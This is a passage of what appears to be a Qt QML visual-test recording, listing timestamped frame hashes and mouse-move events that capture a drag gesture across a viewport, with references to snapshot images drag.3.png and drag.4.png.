Frame { + msec: 3344 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 506 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3360 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3376 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 505 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3392 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 504 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 504 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3408 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 505 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3424 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3440 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3456 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3472 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3488 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 506 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3504 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3520 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3536 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 506 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3552 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Frame { + msec: 3568 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3584 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 506 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3600 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3616 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Frame { + msec: 3632 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 506 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 491 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3648 + hash: "ec34aa6937d2c081bdf11660a5eb461a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 428 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3664 + hash: "9fa1e3686467f28cb013fe093dab388c" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 342 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3680 + hash: "7ef97d10862f80d53e0b3b4446661deb" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 264 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 203 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3696 + hash: "c679866b3965b7b5f48b843d6efccf42" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 160 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3712 + hash: "de4bd9ad3cbb9bb19bf75f871b044072" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 144 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3728 + hash: "c5349bbddc03edd5ee3537e2a738f1ad" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 136 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 132 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3744 + hash: "bcbe9ec2687a6030385f08d3dc17becf" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 130 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3760 + hash: "3ad767f63eaccb9e64a9f704900f2530" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 129 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3776 + hash: "421a1ffde15fda0e7846bc095ed2ea37" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 128 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 128 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3792 + hash: "55c260da304a6b1119af83f6a4efcff0" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 123 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3808 + hash: "f231cc521db801b4ec71248812e12db8" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 104 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3824 + hash: "b489b6b604e7f7699cac9e42d0725323" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 68 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 35 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3840 + image: "drag.3.png" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 13 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3856 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: 2 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3872 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: -6 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: -12 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3888 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: -25 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3904 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: -46 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3920 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: -65 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: -70 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3936 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: -74 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3952 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: -76 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3968 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: -76 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3984 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: -76 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4000 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: -77 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4016 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: -78 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4032 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 4048 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: -78 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4064 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 4080 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 4096 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: -77 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4112 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 4128 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 4144 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -4; y: -78 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4160 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -3; y: -84 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4176 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: -2; y: -105 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 1; y: -151 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4192 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 4208 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 4224 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 4240 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 4256 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 4272 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 4288 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 4304 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 4320 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 4336 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 4352 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 4368 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 4384 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 3; y: -151 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4400 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 4; y: -149 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4416 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 5; y: -147 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4432 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 5; y: -143 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 6; y: -138 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4448 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 7; y: -130 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4464 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 9; y: -117 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4480 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 13; y: -94 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 20; y: -63 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4496 + hash: "b1b54f7bf8ab9cf98d96f9b34192434b" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 29; y: -24 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4512 + hash: "a6c6df34bb552249393ba208ad327691" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 39; y: 15 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4528 + hash: "a05eb803b1f1f3574a2f2e08fe37bd35" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 49; y: 50 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 58; y: 74 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4544 + hash: "3c2f3db46673c2640a26832900b609cb" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 65; y: 91 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4560 + hash: "d0539a9791874f48634bb3cb9f78d9db" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 71; y: 103 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4576 + hash: "f2d862a0b81e2578799d64aef2e6bddc" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 77; y: 112 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 81; y: 121 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4592 + hash: "295ef097845e30064c4d810a7718896c" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 86; y: 128 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4608 + hash: "22a4a17d82ac402c0e8372861609ff1c" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 92; y: 136 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4624 + hash: "a70e81b1435afd77b9079c58685ef9d0" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 98; y: 143 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 104; y: 151 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4640 + hash: "d66fefd68fcd96834548c18797eee4bd" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 111; y: 159 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4656 + hash: "fcc435dc6f2643cd21a7cfac078880af" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 118; y: 166 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4672 + hash: "736edfcf33245d46aaea199634896c17" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 123; y: 173 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 129; y: 183 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4688 + hash: "7b7ab312d0c6f4bfc87a2ae467324f4e" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 137; y: 197 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4704 + hash: "d78ce756fc27055eeee15001419b7fb5" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 146; y: 215 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4720 + hash: "4f15a726939d7f489d1fe58ebb5bcd0a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 157; y: 235 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 168; y: 255 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4736 + hash: "72184d71fd2fdc6786a43045db0be68f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 180; y: 274 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4752 + hash: "3b3f3f34218bf238f310412cb8c4968d" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 192; y: 293 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4768 + hash: "24c00a7154471431d43b1db957ad6424" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 205; y: 316 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 221; y: 343 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4784 + hash: "30081a33ab007ff2c7ba6cc293a5aec3" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 237; y: 371 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4800 + image: "drag.4.png" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 253; y: 396 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4816 + hash: "c0cadb7730838d553b146804c37506b0" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 268; y: 419 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 276; y: 429 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 284; y: 438 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4832 + hash: "101c007d0e2cf82331ba1cab4880e8a2" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 291; y: 448 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4848 + hash: "72e46df7427420c5e942a97831723d3f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 307; y: 468 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4864 + hash: "4b7a009b46982a1e9e31250d7ebf0a20" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 323; y: 492 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 341; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4880 + hash: "a3ba70933b6452fad0cdc4192e04be23" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 359; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4896 + hash: "c2ee16182222b403f914eb5550ac6f91" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 378; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4912 + hash: "9356ce797d12ae076af947cd0e658551" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 397; y: 506 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 416; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4928 + hash: "9356ce797d12ae076af947cd0e658551" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 432; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4944 + hash: "9356ce797d12ae076af947cd0e658551" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 445; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4960 + hash: "9356ce797d12ae076af947cd0e658551" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 456; y: 506 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 466; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4976 + hash: "9356ce797d12ae076af947cd0e658551" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 475; y: 506 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4992 + hash: "9356ce797d12ae076af947cd0e658551" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 482; y: 505 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5008 + hash: "9356ce797d12ae076af947cd0e658551" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 488; y: 504 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 492; y: 503 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5024 + hash: "9356ce797d12ae076af947cd0e658551" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 496; y: 503 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5040 + hash: "9356ce797d12ae076af947cd0e658551" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 500; y: 502 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5056 + hash: "9356ce797d12ae076af947cd0e658551" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 507; y: 501 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5072 + hash: "9356ce797d12ae076af947cd0e658551" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 512; y: 500 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 516; y: 498 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5088 + hash: "9356ce797d12ae076af947cd0e658551" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 521; y: 494 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5104 + hash: "9356ce797d12ae076af947cd0e658551" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 525; y: 486 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5120 + hash: "9356ce797d12ae076af947cd0e658551" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 532; y: 472 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 542; y: 445 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5136 + hash: "9356ce797d12ae076af947cd0e658551" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 553; y: 414 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5152 + hash: "76a8d3b8465f08fdc4586c7766667eff" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 563; y: 389 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5168 + hash: "569e56ba99776d03dd3140e53bc77f56" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 569; y: 373 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 573; y: 363 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5184 + hash: "7139c72a2458685006da79d9cf11bc44" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 577; y: 354 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5200 + hash: "a83d5ef213edec4c8f938ab04afb5c4f" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 580; y: 344 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5216 + hash: "5533602bc8a473c162966142d4bddebd" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 584; y: 321 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 586; y: 301 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5232 + hash: "7a79d6e31874428233e9c141d70522fd" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 588; y: 264 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5248 + hash: "b14f4daeb25cd71baae36f4cec111813" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 591; y: 238 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5264 + hash: "e2b2513d2918ffb85bab5fff5a8be644" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 592; y: 225 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 593; y: 216 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5280 + hash: "af0cbb3423491917db1fdaa8350d48b0" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 594; y: 209 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5296 + hash: "b9c107f0a13ad37ae05b4d5f9e5f5442" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 594; y: 200 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5312 + hash: "0bbc0c7a4a40ee6b19565c04c23b565d" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 594; y: 182 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 593; y: 146 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5328 + hash: "49494e8526a1417c151c7cac7099b9e6" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 590; y: 107 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5344 + hash: "5e0839c4414cc8ddc5241c658fd3bf88" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 585; y: 80 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5360 + hash: "8f061986df633c21dcad767ee857988c" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 582; y: 67 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5376 + hash: "d78c0a4fa0ccad407a565fab3a5c95b9" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 579; y: 61 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 576; y: 57 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5392 + hash: "cee6816f84911bc2262afe28d8996719" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 573; y: 55 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5408 + hash: "2cc6cd514ef7299dd60bf1a735b81d36" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 569; y: 51 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5424 + hash: "68c40f3551d7d10e61c5ffbb6948c7e6" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 564; y: 44 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 557; y: 35 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5440 + hash: "68c40f3551d7d10e61c5ffbb6948c7e6" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 548; y: 25 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5456 + hash: "68c40f3551d7d10e61c5ffbb6948c7e6" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 540; y: 14 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 532; y: 5 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5472 + hash: "68c40f3551d7d10e61c5ffbb6948c7e6" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 524; y: -1 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5488 + hash: "68c40f3551d7d10e61c5ffbb6948c7e6" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 517; y: -5 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5504 + hash: "68c40f3551d7d10e61c5ffbb6948c7e6" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 510; y: -9 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5520 + hash: "68c40f3551d7d10e61c5ffbb6948c7e6" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 501; y: -14 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 492; y: -18 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5536 + hash: "68c40f3551d7d10e61c5ffbb6948c7e6" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 483; y: -21 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5552 + hash: "68c40f3551d7d10e61c5ffbb6948c7e6" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 476; y: -21 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5568 + hash: "68c40f3551d7d10e61c5ffbb6948c7e6" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 470; y: -19 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 464; y: -15 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 5584 